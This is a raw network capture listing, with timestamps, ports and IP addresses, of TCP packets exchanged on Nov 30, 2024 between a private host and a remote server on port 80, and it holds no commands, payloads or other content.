Nov 30, 2024 05:00:16.604710102 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.604744911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.605595112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.605710983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.605768919 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.606555939 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.606683016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.606739044 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.607484102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.607528925 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.607597113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.608470917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.608586073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.608630896 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.609426022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.609471083 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.609539986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.610374928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.610470057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.610526085 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.611345053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.611434937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.611443996 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.612299919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.612430096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.612489939 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.613245964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.613295078 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.613333941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.614223003 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.614326000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.614379883 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.615158081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.615226984 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.615282059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.616134882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.616230011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.616276026 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.617073059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.617113113 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.617183924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.618042946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.618139029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.618182898 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.618983984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.619026899 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.619105101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.619949102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.620038986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.620090008 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.620918989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.620968103 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.621021986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.621862888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.621963024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.621995926 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.622843027 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.622895002 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.622929096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.623788118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.623915911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.623971939 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.624752998 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.624813080 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.624847889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.625722885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.625742912 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.625799894 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.626641035 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.626750946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.626804113 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.627619982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.627676010 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.627727985 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.628571033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.628670931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.628721952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.629511118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.629563093 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.661283016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.661405087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.661479950 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.661765099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.661885023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.661931992 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.662739038 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.662844896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.663165092 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.663693905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.663815022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.663860083 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.664699078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.664805889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.664973974 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.665607929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.665714025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.665817976 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.666553020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.666630983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.666676998 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.786725998 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.786736965 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.786747932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.786760092 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.786839008 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.786875010 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.787415028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.787517071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.787576914 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.788361073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.788685083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.788757086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.788799047 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.789640903 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.789706945 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.789731026 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.790653944 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.790762901 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.790810108 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.791574955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.791668892 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.791711092 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.792531013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.792570114 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.792606115 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.793474913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.793562889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.793612003 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.794471979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.794481993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.794522047 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.796866894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.796916962 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.796933889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.797244072 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.797483921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.797523975 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.797574997 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.797616005 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.801606894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.852215052 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.054816961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.054853916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.054863930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.054893970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.054903984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.054927111 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.054933071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.054944992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.054975986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.054976940 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.054987907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055012941 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.055026054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055036068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055058002 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.055067062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055078983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055103064 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.055104971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055115938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055124998 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055134058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055141926 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.055157900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055166960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055171967 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.055179119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055187941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055197001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055207014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055217028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055227041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055237055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055250883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055260897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055269957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055280924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055289984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055300951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055310011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055325031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055330992 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.055335999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055341959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055351019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055356026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055366039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055377007 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.055377960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055389881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055399895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055402994 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.055408955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055419922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055421114 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.055429935 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055438995 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055449009 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.055449963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055460930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055469990 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055474997 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.055480957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055490971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055500984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055511951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055512905 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.055522919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055532932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055538893 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.055542946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055553913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055563927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055571079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055577040 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055579901 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.055587053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055591106 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.055598974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055608034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055617094 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.055617094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055628061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055634975 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.055639029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055650949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055660963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055668116 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.055671930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055685997 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055694103 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055701017 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.055711031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055717945 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.055722952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055733919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055743933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055752039 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.055754900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055768967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055772066 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.055779934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055789948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055799961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055802107 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.055811882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055823088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.055824995 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.055845976 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.055865049 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.056658983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.056670904 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.056679964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.056690931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.056720018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.056725025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.056730032 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.056740999 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.056750059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.056761026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.056768894 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.056794882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.056804895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.056808949 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.056834936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.056843042 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.056845903 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.056880951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.056883097 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.056893110 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.056925058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.056931019 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.056935072 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.056973934 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.056984901 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.056994915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057024956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057032108 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057038069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057074070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057084084 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057106972 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057113886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057123899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057130098 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057151079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057161093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057162046 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057193041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057203054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057207108 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057231903 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057234049 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057245970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057266951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057276964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057286024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057292938 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057296991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057308912 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057312965 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057318926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057329893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057337999 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057339907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057351112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057357073 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057360888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057398081 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057405949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057415962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057429075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057435989 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057440042 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057451963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057461977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057466984 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057473898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057483912 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057493925 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057493925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057506084 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057513952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057517052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057528019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057532072 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057538986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057545900 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057549953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057563066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057571888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057571888 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057585001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057594061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057599068 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057604074 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057612896 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057615995 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057627916 CET	80	49732	141.8.197.146	192.168.2.4
